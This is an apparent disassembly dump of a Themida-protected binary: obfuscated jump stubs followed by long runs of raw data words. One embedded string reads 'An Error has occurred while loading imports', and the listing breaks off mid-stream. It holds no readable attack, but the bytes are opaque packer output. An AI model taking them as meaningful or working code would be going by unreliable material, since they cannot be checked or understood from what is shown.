[ebp+60B32DDh] mov eax, eax jmp short loc_5A9545 ; --------------------------------------------------------------------------- dd 8C63404Fh, 79F76425h, 8E91436h, 512E1B66h, 3935253Fh dd 10F4B8C3h, 75F39FECh, 4038A100h, 0A24645F2h, 645E263Ah dd 0B2E598B6h, 8551B4D0h, 0CC484ECCh, 4C5AD703h, 5C60DDEBh dd 5F134A87h, 0C3AAAA7Bh, 0F3133EA3h, 0BD643B29h, 72737C47h dd 0B0A35D17h, 172772E3h, 0BE1FD8B8h ; --------------------------------------------------------------------------- inc esi loc_5A9545: ; CODE XREF: Themida_:005A94E6j jmp loc_5A95FB ; --------------------------------------------------------------------------- dw 2E78h dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h dd 0ACC585C9h, 0D8DE67DDh, 32DB15F9h, 0EC3740ECh, 941D0C78h dd 5BBF83C3h, 256AFC67h, 0E1C56B4Fh, 0C3D5C881h, 0F87ABC23h dd 82676B2Ah, 0AA089064h, 72503C6Bh, 0E53CAE1Bh, 10h, 4450BD0Fh dd 1D1377FFh, 0AE94C394h, 0DEB9C4Ah, 9FDD4DEh, 967A57A0h dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h dd 0FC407988h, 7BCFFA0Dh, 0D4A668CFh, 0ECE90611h, 87FFF9A9h dd 10CB5C84h, 45245BBDh db 98h, 0Ah, 96h ; --------------------------------------------------------------------------- loc_5A95FB: ; CODE XREF: Themida_:loc_5A9545j mov eax, 611D541h add eax, ebp jmp short loc_5A9608 ; --------------------------------------------------------------------------- dd 5B27E563h ; --------------------------------------------------------------------------- loc_5A9608: ; CODE XREF: Themida_:005A9602j jmp loc_5AA484 ; --------------------------------------------------------------------------- push 611D7F1h jmp loc_543FDB ; --------------------------------------------------------------------------- push 611D906h jmp loc_543FDB ; --------------------------------------------------------------------------- push 611D9FDh jmp loc_543FDB ; --------------------------------------------------------------------------- push 611DAADh jmp loc_543FDB ; --------------------------------------------------------------------------- push 611DDFBh jmp loc_543FDB ; --------------------------------------------------------------------------- push 611E151h jmp loc_543FDB ; --------------------------------------------------------------------------- push 611E261h jmp loc_543FDB ; --------------------------------------------------------------------------- db 71h dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h, 0B63E32DFh dd 0C585C8D2h, 9B0AE655h, 0AE94B28Dh, 17FBDADEh, 0FC675EA6h dd 9B41DAA2h, 5B2F166Ah, 9527C967h, 60B71F68h, 0B5A9ED51h dd 246ACB9Bh, 0FFC3BD9Fh, 0CCD4C10Bh, 0FF8F57F1h, 2A3A60E5h dd 46F57F8Eh, 0FE7EBC56h, 0C8E0D6D4h, 0C178BAC4h, 93F77FEDh dd 143A60E4h, 0EF1E002Eh, 0DA2C3505h, 47h, 760D6F22h, 0F81540E4h dd 0A09ABD9Eh, 11FC0EDCh, 44C807h, 60C484C0h, 19370B3Ah dd 60C43D4Dh, 5869BC3Ah, 0C4F305F4h, 8B1A1070h, 518E52F7h dd 9B532159h, 2E7BC2B2h, 32B3F513h, 354F2FDEh, 151A2Ch dd 0C8E20000h, 99Bh, 4C86B724h, 5A3B2B2Eh, 25A9A0F3h, 0DED147E1h dd 2C1B6DD5h, 0DAB8BF58h, 8FDE60ECh, 1AC3B7ABh, 0A5273C09h dd 96F7931Bh, 278C394h, 963054D8h, 43B7C394h, 0F88319A5h dd 9277FA72h, 0F2C8BD9Fh, 3256DE68h, 0BB3A619Bh, 96EA5E61h dd 0AC26D129h, 0AC9210E3h, 69F357F1h, 983357DFh, 4EB43A61h dd 98B4D4A0h, 33613A61h, 0A9FF2EB2h, 4D62A9Eh, 6198E4E0h dd 0F9176B3Ah, 3591E607h, 32C32Ch, 6F2D0000h, 40E4760Dh dd 0BD9F05D1h, 4A90645Eh, 90E84C5Bh, 81E5D9ADh, 0CBB7D35Bh dd 0C2383A60h, 0CB305024h, 0BFE53A60h, 0C733DA2Eh, 121E2C35h dd 0E6000001h, 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 0BCC4B519h dd 1D8BFF77h, 261CC394h, 7A8F7EC2h, 9344CB9h, 0C5814185h dd 4AC3941Dh, 0A2A81C70h, 2213723Dh, 51FFC968h, 0F368ABFCh dd 0A84FA28h, 0F591512Fh, 7AC39406h, 0AF372C00h, 0C39403FFh dd 46EE357Eh, 0C3940B02h, 9359BD85h, 0B18C9401h, 0D7989CDh dd 0EFC3940Bh, 940B0347h, 0C1BE84C3h, 18944FF9h, 0DFA39EEDh dd 0A529286Eh, 57DF0D61h, 0C3940B33h, 0ADA04EB4h, 0EFF6D58h dd 77BCF06h, 730961E9h, 0EFEA02E8h, 40BD9F15h, 0DFBDF97Ah dd 741E9644h, 0C7446D60h, 64BC69F3h, 176D9A59h, 34EEDF28h dd 351D8C6Ch, 0B2952h, 0ECDB2F00h, 0B28F9677h, 43544A1h dd 0E9E82EDFh, 0B8879D0Ah, 36D51CBBh, 0E700D3E2h, 57B0A39Eh dd 0ED7641h, 0F019DAF7h, 0CA90F478h, 0A817C585h, 0FBDADE30h dd 3B4FE771h, 8CC3941Dh, 1D582C40h, 0EB2FC394h, 719E59F7h dd 3357DF24h, 0B43C6BE2h, 7F896A4Eh, 9F49888Eh, 760D6FB9h dd 5D140E4h, 0C233BD9Fh, 0DE3286B3h, 1BEFD330h, 60CBBBCBh dd 0BB4A6E3Ah, 35C6A841h, 0DB812Ch, 0DE6F0000h, 0E2E60ED5h dd 65C3941Dh, 0E455391Dh, 4BBA19Ch, 0D6258E67h, 0F032D1Dh dd 4F3BB33Dh, 0C0C39452h, 0E8B84CFAh, 69C39457h, 0CA3B211Ch dd 81628CB9h, 0FBFD1364h, 2169D154h, 0D5C9F40Dh, 55D96BF1h dd 0C3941231h, 0E25D60B8h, 829A6E98h, 69FB61FAh, 59CD5BF2h dd 0C3032A0Ch, 0C3943E87h, 5A143208h, 9F20C7D2h, 0C11268BDh dd 704D5647h, 0ADB6C6D6h, 745E37BFh, 7E2F446Dh, 6BE11E33h dd 1EF29A3h, 0CD382206h, 0BA6B88B7h, 1F905F66h, 568C6C6Bh dd 0A141BFCh, 0CED80000h, 74836CF7h, 22719E45h, 0C3DB342Fh dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h, 0DA193440h dd 76EDD82Dh, 0BBCF6785h, 0CC585C4h, 50BDC7BDh, 0A69BE048h dd 6C9AFED2h, 0BFA49BE1h, 0EB08454Eh, 0F8D5DE2Dh, 63B3CD72h dd 0E0F99109h, 483C0319h, 0E476DA74h, 35D3EE39h, 61F2CFD8h dd 3448941Ch, 9E3D2Fh, 0BAEED486h, 9036EA15h, 58044186h dd 9DA83CAEh, 0FFBD9F0Fh, 0F2C7DA40h, 0C4D7191Bh, 0E9CD01F5h dd 85FAC03Fh, 625FAA5Bh, 0F88CBA9Eh, 0E2A53457h, 0EC7E0597h dd 285CD062h, 0B193BB1Ah, 95ED6A69h, 48E6D324h, 0B02B99BCh dd 2094EEEDh, 0BDAFB4C8h, 0BA264129h, 0ADC153F7h, 87816BD9h dd 5DBA54AEh, 0B865F765h, 0A8EC5069h, 816B2C58h, 0B15FA387h dd 88C5CE3Fh, 274FD96Bh, 87816BA3h, 6FE8D52Ah, 710FD2Bh dd 0F8BC3DCAh, 13F73C3Dh, 91DBCh, 0F8D72300h, 4E7B8A7Bh dd 10297895h, 0E5DC22C3h, 0B48B917Eh, 2AC128AFh, 9B74EFD6h dd 4BA4BF82h, 34D1023Dh, 0FC0DD6E3h, 0C48CF86Ch, 0B403C585h dd 0F8D5DECCh, 0F3881414h, 1AC0C569h, 8B45BD9Fh, 60E66763h dd 0BE92E83Ah, 183741ACh, 0B73F49DBh, 3A60E6D3h, 4DC06E54h dd 2983993Bh, 388CE0DFh, 112C75C4h, 817569ADh, 417D04BBh dd 49753A5Fh, 0E4B3D79Fh, 3433A60h, 333A60D4h, 9D08D269h dd 0F6CABE85h, 99049658h, 88CCB08Fh, 0C06B965Eh, 73DC446Bh dd 5B76812Bh, 5BBF9367h, 55FD06F7h, 43870B46h, 9A4BE06Fh dd 50B28C69h, 86DFFh, 28277300h, 0FECBDACBh, 40798865h dd 152C7293h, 0E4DB21CEh, 7A91D87Fh, 2BC41F26h, 9B74EFD2h dd 44A1B28Dh, 2CDD0633h, 0C7DCA83Ch, 0E453C585h, 760D6F7Ch dd 299D40E4h, 2812BD9Fh, 97A2F5A4h, 5F881645h, 0DF35B02Ch dd 0CB3AB631h, 0DA3E82BDh, 0A72B2673h, 3D48C563h, 0A1672FAh dd 0A1993A60h, 990D9F4Dh, 3A600AEDh, 4D788D62h, 87A185F9h dd 90E6B83h, 0A474BE3h, 82F83A60h, 481033Eh, 0BAB9889Fh dd 600A5434h, 215643Ah, 0A5C54D8h, 0AF933A60h, 7D4C5BB4h dd 42524389h, 4109DD0Bh, 0BC3A600Bh, 0B263E9E4h, 57B6506Dh dd 5E27140h, 0B4252F2h, 6C99A317h, 72022C1Dh, 3A600B42h dd 1098156Fh, 0E06096E5h, 0EA3EFC52h, 56B751B5h, 0A190E74Fh dd 5E85F9DDh, 74E67900h, 604791F0h, 0A9CC733Ah, 2B161BCEh dd 6E54B35Dh, 9E934A9Ah, 0D122B600h, 5B2F2271h, 0CEBF0367h dd 39181ECAh, 0CCC471C5h, 0C0A84DC1h, 0C48024B6h, 4B4606DCh dd 0DC8BFF77h, 261C4606h, 951FAE08h, 5D211C68h, 0BC6DCF79h dd 95B7D2CDh, 1A9h, 4A50BD73h, 0BBC1DD0Bh, 0B332BAA0h dd 0BCBD9F16h, 1C699446h, 7EB468D7h, 81238200h, 60130541h dd 5CB08A3Ah, 201D6687h, 4004A83Ah, 0C93A6013h, 0CF338CB3h dd 0EB392921h, 6AC5268Dh, 0F25B2F16h, 7826AAA7h, 0F3D3AF3Eh dd 0B2C72CB9h, 66B35C87h, 0A855E76Bh, 0BC51BA5Ch, 1CC6D55Bh dd 0D6705438h, 0B7ACB3C6h, 8D714056h, 65FECBDCh, 98427F88h dd 77E2E60Eh, 1D65B139h, 0C26C5DACh, 0FA72FC4Eh, 0B139778Eh dd 470F3901h, 20B3E3D5h, 8ABC23C1h, 726C5A4Dh, 8DC02778h dd 84F8D291h, 54BD486Ah, 0ED7643h, 0CCB82CF7h, 2EC3B62Fh dd 0B62FC286h, 827D45C3h, 679644B8h, 4B5A231Eh, 2078D07Eh dd 0AC4A5359h, 0A9AB7F19h, 1DECC060h, 10DA3E05h, 0C0011786h dd 0B6D0D8ACh, 776BAFC3h, 0D0790DD9h, 61CEC3B6h, 12C12518h dd 2C90AFF5h, 40AAADCCh, 0B6D0542Ch, 31422BC3h, 785CB004h dd 59F90AFBh, 0AF13774Ah, 379BBAFEh, 967F8E0Ah, 0E7D2258Dh dd 43370E16h, 0DFC82B0Fh, 0E1E509CAh, 66C3B6D1h, 5454381Ch dd 84283245h, 0C3B6D1C8h, 6CF87B5Fh, 0B0FD27CFh, 0B609483Ch dd 5CFBDFC3h, 98B64B3Fh, 0E15560B5h, 635AAA5Bh, 0ADD94D9Fh dd 22C3B6E3h, 0C34AE4D8h, 0DC369AB5h, 7432AD12h, 0FF816882h dd 0B1565751h, 236E9F64h, 9AA2262Eh, 4825C3B6h, 34280C3Dh dd 98B5FE2Fh, 92A5F434h, 9AB42448h, 0C73BC3B6h, 67638B15h dd 0E8C3B69Ah, 12F37492h, 2747CB02h, 8D1FCD52h, 5E11662Eh dd 87A1FA62h, 0B6329BFFh, 0CD166CC3h, 4150BD37h, 1A6FDE08h dd 126A342Fh, 9A4BE309h, 0D3BD9F23h, 0EDE7DEFh, 0C72286DEh dd 28D597B1h, 0F672E1DCh, 17C5F407h, 607FEB9Fh, 0E8067C3Ah dd 5AD21365h, 3A607F2Eh, 916559A1h, 0F2780399h, 6B784F7Ah dd 176FC044h, 0C60A428h, 3543B2B8h, 0B452B61Ah, 7D70A020h dd 0AC0C9030h, 3CC6FCF6h, 0F5675BA5h, 76E58C71h, 0B519614Eh dd 4986B3C4h, 9274B88Ch, 1F04FB4Fh, 25000005h, 8C79FAD1h dd 7AAB4879h, 24C1122Fh, 937CE7DEh, 16ADB689h, 0E9D42CCFh dd 0B9849D0Ah, 0C3B4DBAh, 0D0ED36D7h, 0FA72FE03h, 0C585C08Eh dd 6FCAB201h, 40E4760Dh, 0BD9F2419h, 0CFF60AFBh, 0B08D927Bh dd 6D55B25Ch, 0E8384999h, 7DEF3A60h, 43B551DEh, 8732F892h dd 3A7125A5h, 387A9488h, 0A1F627ADh, 3841289Ch, 795DB105h dd 0E3BC6DCFh, 0CD952C34h, 73000000h, 941D57A7h, 0B78E96C3h dd 20759253h, 0B90CE15h, 0E42EA70h, 0ECC3941Dh, 561D5E4Fh dd 0FD06C964h, 0C542ECC0h, 49DD6FFDh, 0C394B93Dh, 0B93357DFh dd 4EB4C394h, 0EB5F89F1h, 1FC4F102h, 35273C5Fh, 3E82BFC8h dd 7DD8D01h, 72568907h, 1D881AD4h, 0E134E608h, 874F5098h dd 4DFBDFA3h, 94A0C5B9h, 9C605AC3h, 7FEDD82Dh, 0C448858Eh dd 38D6680h, 0A0097DF1h, 7BF3C394h, 0C394A00Fh, 0E5DDBA80h dd 1328734Bh, 0A045A5C9h, 0B08AC394h, 1F227BAAh, 618557ABh dd 0C394A065h, 927690EAh, 93603252h, 28A5FFC3h, 0C8122972h dd 946044A4h, 0A5B78BC3h, 60F7931Bh, 278C394h, 5A8103E4h dd 0CED7304Bh, 247444F3h, 0E4FE6583h, 6000000h, 0E4760D6Fh dd 9F299D40h, 888E7FBDh, 84B5C049h, 0D532DC30h, 40E42F78h dd 3A60F704h, 7F53B78Bh, 0E0DD228Bh, 0C7542373h, 0F7F99115h dd 891B3A60h, 60F76165h, 729CE63Ah, 0D1EC3895h, 2735296Dh dd 2D91A0F6h, 1BCB3FE9h, 3C9FA554h, 0BA32DBFh, 3A60F77Fh dd 0CC608AF0h, 3A60F7B8h, 9B1DCB0Fh, 0F757F60Ah, 78722C34h dd 0EE000000h, 364CE83Fh, 6347BB0Fh, 33BD5FC5h, 941DCFBBh dd 0DD7A40C3h, 3995D73Fh, 3686A0E8h, 0E408D261h, 0C3943CE0h dd 9DAF1367h, 0A1152870h, 354AC36Dh, 0CFFA0FFEh, 943C4307h dd 9AFEC4C3h, 0F97A1D59h, 3CDBFB73h, 6E54C394h, 77EB509Ah dd 26764560h, 0F393638Dh, 3EC393DEh, 64336B7Ah, 79ED3242h dd 3C6BDE0Dh, 0F544B882h, 0EF2397A2h, 0EDCD618Bh, 423C6BDEh dd 0DE1DFB78h, 0E072F8D5h, 6DD1EC35h, 1DADD929h, 0D822C394h dd 2673DA2Eh, 51BCC82Bh, 4D817548h, 0FA811BA3h, 1971FC70h dd 0FCC6BD9Fh, 0E6A8D808h, 277D3A60h, 7BB52A6h, 32962C35h dd 7E000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh, 60CB3050h dd 0C068B13Ah, 0DEA286BBh, 63B81C6Fh, 6B967A5Eh, 4FE29C29h dd 89A05855h, 0A02C35C6h, 10Fh, 4550BD4Ch, 0CCD98074h dd 0D5C90DF1h, 61C1D23Bh, 7CC0241Bh, 0C448778Dh, 41350015h dd 17F90AFBh, 2DD1010Bh, 94785C1Dh, 62B796B0h, 0A286B3C2h dd 0BEC637B1h, 0BD8EEF5Ch, 6347A448h, 0F98DBB9Fh, 0C3947DA9h dd 7E4B5A4Bh, 1D287DD0h, 1C154AC6h, 8EC3CE94h, 5639C63Ah dd 0E26B858Eh, 47B6A491h, 52DA003Fh, 0C394A636h, 0A3A741B9h dd 0C02A314Bh, 0DF1CCD5h, 28F28C12h, 4781E19h, 9CEF10FBh dd 123C48B5h, 0E22DD458h, 0B882BD9Fh, 9AA1FBBBh, 0CDD7C650h dd 0A83C0EF2h, 3A61ABDCh, 0DD0B6F53h, 6C3DF809h, 9BED1844h dd 0BD8582ACh, 1B3A7EAFh, 0E6D324D1h, 3A7EAF48h, 6C0BCC1Bh dd 40C28C6Bh, 1C98Fh, 4C7B8F00h, 122F7697h, 0E4D524C1h dd 49888E7Fh, 18277DAAh, 96757CDBh, 47A0B382h, 37D0033Eh dd 0E00DD6E1h, 50B9BA97h, 0FC701498h, 8F7C585h, 6EDADE90h dd 0F35A2E23h, 5FB397AAh, 1032E8Dh, 0C49A95B9h, 4B5C492Ah dd 6F1FE57Eh, 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h dd 0E46867B1h, 6CD0EF35h, 5832B3F1h, 1AEEFFA5h, 2C35C6F3h dd 0E8DEh, 0D5DE2600h, 54D8156Dh, 0C3941D30h, 9B6F43B7h dd 0EFF43A7h, 0EF47CB0Ah, 0C39418BFh, 1BD8F53Eh, 0D8AC99EAh dd 926DAD12h, 0AB78AF5Fh, 0E30D6158h, 0DC2FC1DBh, 0FC6389EDh dd 9C1304C1h, 267AC3CBh, 0F77FF11Fh, 4260B00Eh, 39106392h dd 20CA300Fh, 2195A0F5h, 95F7931Bh, 2783A60h, 0D484112Eh dd 10BED120h, 5B217DF6h, 90921AC0h, 5B446D23h, 0F46BF567h dd 0B7F362F1h, 0D002E67h, 992BC8F7h, 0D7E3E70Fh, 8B643072h dd 84F84C73h, 7D8786A0h, 0A37C8542h, 53B78C6Ch, 0B9FCh dd 5C6BBF00h, 221F6687h, 0F4C5D431h, 5978BE6Fh, 28176D9Ah dd 86658CCBh, 77904372h, 27C0132Eh, 907DE6D1h, 60A94A87h dd 0FF606488h, 18E7C585h, 0F91EBDA0h, 0D31CAB15h, 2078D573h dd 0DC29C61Dh, 64F672E1h, 946A84C0h, 19370BC3h, 0F8D5DE23h dd 0C4D7C614h, 563A1760h, 56AA1E72h, 754055B8h, 0C2ECB0EEh dd 0BBA185BCh, 8569F333h, 0D4067CBDh, 0B49D1067h, 8E5C0325h dd 7A766266h, 739DE53Ah, 0E8E52E9Fh, 0BC899A0Bh, 751218C8h dd 60BA9F4Ch, 5E6BBC65h, 221F6885h, 16618C5Eh, 91E6573Bh dd 0AF9E48ACh, 79E46857h, 3045AA3Bh, 0E431DE05h, 3A265E9h dd 0CA000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 56CF7BCFh, 0C681E689h, 4, 4BF57h, 0FE290000h, 2434875Fh dd 6633685Ch, 2C890000h, 0E7895724h, 4C781h, 0EF810000h dd 4, 5C243C87h, 81243489h, 4ECh, 24148900h, 35161BAh dd 0CEF28131h, 89371284h, 8B545AD5h, 0C4812434h, 4, 24048155h dd 110E0BF6h, 5208468Fh, 86D21BAh, 0F7E2D12Ah, 0C8EA81DAh dd 299AE119h, 0FF5A0856h, 835E2434h, 2C8B04C4h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 0F99B62E9h, 5F16F7FFh dd 0FCCF484h, 18A160B8h ; --------------------------------------------------------------------------- loc_5AA484: ; CODE XREF: Themida_:loc_5A9608j mov eax, 611E33Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 9Bh, 5Fh, 42h dd 0AE634938h, 26D3A747h, 0AAEB252Eh, 5C65ED47h, 17D0300Eh dd 0C4529B37h, 0F95C7644h, 0DEE53E27h, 0FFBB8868h, 3925F403h dd 6235A00Ah, 11ADB42Ch, 0FB34E130h, 48310D06h, 0EB1E5E44h dd 0E1920123h, 7DF46861h, 9D641542h, 9A4A1207h, 28517E23h dd 0E017E423h, 48E58066h, 1DF0496Eh, 405A2E5Dh, 0F1141703h dd 23F7E94Ah, 0A80D5950h, 7E85Ah, 2EF30000h, 0D1910119h dd 0F78B66EAh, 6E95Ah, 66890000h, 2177A38Ah, 6F8AC281h dd 0BB0000h, 0F8000000h, 811334FFh, 0F847A2D7h, 0C081582Bh dd 73BA9F11h, 9850Fh, 8D0F0000h, 3, 81F7B70Fh, 0C8E12DE8h dd 5AC08175h, 605718FAh, 0AE8h, 3B7BFE00h, 2C28537Eh, 0F83DFA5Dh dd 0F681665Eh, 50615666h, 0B15609B9h, 1A048F78h, 7E9h dd 0BBF63000h, 9BCEB098h, 1532C181h, 0EB83685Ah, 2DBF6602h dd 0FC4B4B39h, 910CFB81h, 850FFFFFh, 0FFFFFF8Ch, 12A7BE66h dd 0E59A8D8Dh, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 156BA2C3h, 892B92B3h, 0B174D8Dh dd 1985C706h, 4060B01h, 6A000060h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4570C352h dd 6E3EE4DCh, 6830F16h, 8B000000h, 0B08A1BDh, 985C706h dd 60B10h, 0B4000000h, 7DB5FFADh, 6A060B1Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0B442C353h, 0C595FFD3h, 6A060B0Ah, 0DD95FF00h, 8B060B32h dd 0C52AEBC0h, 1DCCA2D8h, 0C5FBCA61h, 0F11F91A7h, 8422499Ch dd 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h, 0D2C29D5Ch dd 6203294Bh, 127E92Dh, 5B500000h, 0EFAC7376h, 154Eh, 6E410000h dd 72724520h, 6820726Fh, 6F207361h, 72727563h, 77206465h dd 656C6968h, 616F6C20h, 676E6964h, 706D6920h, 7374726Fh dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h dd 0E6000077h, 777h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 1E639F8Fh, 1C131134h dd 3CB735B1h, 61664239h, 9E35722Bh, 1177A9F2h, 90EF8832h dd 136D6E07h, 0A67CBFBFh, 0C699173Fh, 0A8E5D069h, 136D6DE3h dd 45715632h, 1177A961h, 90EF8832h, 136D6E07h, 0A56FBFBFh dd 0C699173Fh, 0D5EDD069h, 0F37BF9B1h, 1A662423h, 156601B6h dd 0F8E30532h, 0EA60559Fh, 8E3AFE2h, 0EA60009Ch, 50E34EE2h dd 43604F1Ah, 0BDDE705Ah, 40D3EEAEh, 98608321h, 1B1B5CB7h dd 9CB6DD34h, 1E73BCB7h, 0F8E30534h, 456055D4h, 0F0A8A7BFh dd 0EA361723h, 1E63A5A7h, 78E38334h, 15602935h, 0D3661132h dd 1E4ECDB7h, 7C0E0134h, 0EAE8505Bh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 44E3ABE2h, 0D3601A13h, 1E4ECDB7h, 4B0E0734h dd 0EAFA4559h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 10E3ABE2h dd 0D36000D4h, 1E4ECDB7h, 3C0E1034h, 0EA88405Ah, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 1CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0D70E0134h, 0EABC420Ah, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 18E3ABE2h, 966000D4h, 1E6D918Fh, 90694434h, 15662277h dd 3D2394F4h, 7D238E39h, 0EF463AB4h, 1E6797CDh, 90EB1739h dd 136DB13Fh, 90EF94CDh, 1377C423h, 3D2394F4h, 7D2A8E39h dd 0F54094F1h, 1E6797CDh, 90EB1739h, 136DB13Fh, 90EF94CDh dd 1377C427h, 156651DBh, 50E34E32h, 47604F1Ah, 5F822F5Ah dd 0D3EE8Eh, 9860831Bh, 1E5F49B7h, 9CB6DD34h, 48000B7h dd 50E34E34h, 47604F1Ah, 592C6A5Ah, 0D3EE94h, 9860831Bh dd 1E5F49B7h, 9CB6DD34h, 48004B7h, 50E34E34h, 47604F1Ah dd 57D2C85Ah, 14D3EECFh, 98608339h, 1E5F49B7h, 9CB6DD34h dd 1E71B0B7h, 50E34E34h, 62604F1Ah, 82CE815Ah, 0D3EEC1h dd 98608331h, 1E5F49B7h, 9CB6DD34h, 1E4C44B7h, 50E34E34h dd 47604F1Ah, 0C857355Ah, 14D3EEB8h, 98608339h, 1E5F49B7h dd 9CB6DD34h, 1E4898B7h, 50E34E34h, 43604F1Ah, 0A0B1B5Ah dd 40D3EEE6h, 98608321h, 1B1B5CB7h, 9CB6DD34h, 1E7F64B7h dd 50E34E34h, 52604F1Ah, 0C976585Ah, 14D3EEB3h, 98608339h dd 1E5F49B7h, 9CB6DD34h, 1E6BF0B7h, 50E34E34h, 52604F1Ah dd 1AD3C05Ah, 14D3EEB8h, 98608339h, 1E5F49B7h, 9CB6DD34h dd 48024B7h, 34DB0B34h, 15604F32h, 1337A63Dh, 90A01132h dd 136DA077h, 98F2C7Eh, 0A099FBE8h, 136D1A33h, 2C6B0DBFh dd 0C5994239h, 0F347A7BBh, 90A01723h, 136DA077h, 0CBA82C7Eh dd 0A099FF46h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F343A7BBh dd 90A01723h, 136DA077h, 97592C7Eh, 0A09995B3h, 136D1A33h dd 2C6B0DBFh, 0C5994239h, 0F34FA7BBh, 90A01723h, 136DA077h dd 557E2C7Eh, 0A099911Dh, 136D1A33h, 2C6B0DBFh, 0C5994239h dd 0F34FA7BBh, 90A01723h, 136DA077h, 13722C74h, 0A09998ECh dd 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F357A7BBh, 90A01723h dd 136DA077h, 51C2C75h, 0A099A3EEh, 136D1A33h, 2C6B0DBFh dd 0C5994239h, 0F35FA7BBh, 90A01723h, 136DA077h, 9BCA2C75h dd 0A099CDB5h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F35BA7BBh dd 90A01723h, 136DA077h, 0B2B42C75h, 0A099F6A8h, 136D1A33h dd 2C6B0DBFh, 0C5994239h, 0F327A7BBh, 90A01723h, 136DA077h dd 2C622C75h, 0A09998F3h, 136D1A33h, 2C6B0DBFh, 0C5994239h dd 0F323A7BBh, 0A8E51723h, 136DA8CFh, 0D3463132h, 1E4E67B7h dd 720E5634h, 0EA86FA1Fh, 1E6D4587h, 18E3AF34h, 0EA601A0Bh dd 5CE301E2h, 0D36055D4h, 1E4E67B7h, 0A40E5634h, 0EAE8A181h dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 58E301E2h, 0D36055D4h dd 1E4E67B7h, 0B20E5234h, 0EAA6FE78h, 1E6D4587h, 18E3AF34h dd 0EA601A0Bh, 44E301E2h, 0D36055D4h, 1E4E67B7h, 0FE0E5D34h dd 0EA9DEE5Eh, 1E655187h, 18E3AF34h, 0EA601A0Bh, 0F0E301E2h dd 0D36055D4h, 1E4E67B7h, 400E5534h, 0EADDFBBCh, 1E6D4587h dd 18E3AF34h, 0EA601A0Bh, 40E301E2h, 0D36055D4h, 1E4E67B7h dd 0E90E5234h, 0EADA065Ch, 1E6D4587h, 18E3AF34h, 0EA601A0Bh dd 4CE301E2h, 0D36055D4h, 1E4E67B7h, 0BF0E4234h, 0EAA0980Ch dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 48E301E2h, 966055D4h dd 1E60B38Fh, 91691134h, 156688D2h, 3D23C1F4h, 7D202439h dd 0EFF0DF03h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh dd 13776E8Bh, 3D23C1F4h, 7D202439h, 0E9C12BE4h, 1E673DCDh dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EFBh, 3D23C1F4h dd 7D202439h, 879AB532h, 1E673DCDh, 90EB4239h, 136D1B3Fh dd 90EFC1CDh, 13776EFFh, 3D23C1F4h, 7D202439h, 0E3B25E58h dd 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EE3h dd 3D23C1F4h, 7D202439h, 81AB41D5h, 1E673DCDh, 90EB4239h dd 136D1B3Fh, 90EFC1CDh, 13776E8Fh, 3D23C1F4h, 7D202439h dd 0A4446509h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh dd 13776EF3h, 3D23C1F4h, 7D202439h, 0CA1FFBDFh, 1E673DCDh dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EF7h, 359BF9B1h dd 60662439h, 50E3D712h, 4660831Ah, 0AB861A5Ah, 14D3DDFCh dd 98601A39h, 1E5F85B7h, 9CB6BB34h, 48043B7h, 50E3D734h dd 5260831Ah, 0A438C35Ah, 14D3DDF5h, 98601A39h, 1E5F85B7h dd 9CB6BB34h, 48047B7h, 0E8DB9234h, 15608312h, 90A06447h dd 136D0A77h, 6B637975h, 0A0996E50h, 136D4F33h, 2C6BA7BFh dd 0C5991739h, 0F30F0DBBh, 90A04223h, 136D0A77h, 1C907971h dd 0A0991A48h, 136D4F33h, 2C6BA7BFh, 0C5991739h, 0F30B0DBBh dd 90A04223h, 136D0A77h, 82467971h, 0A0997413h, 136D4F33h dd 2C6BA7BFh, 0C5991739h, 0F3170DBBh, 0A8E54223h, 136D02CFh dd 0D3266432h, 1E4ECDB7h, 160E0734h, 0EAED229Ah, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 6CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0C00E0734h, 0EA837904h, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 60E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0F40E0734h, 0EA8C8800h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 68E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 220E0734h, 0EAE2D39Eh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 94E3ABE2h, 0D36000D4h, 1E4ECDB7h, 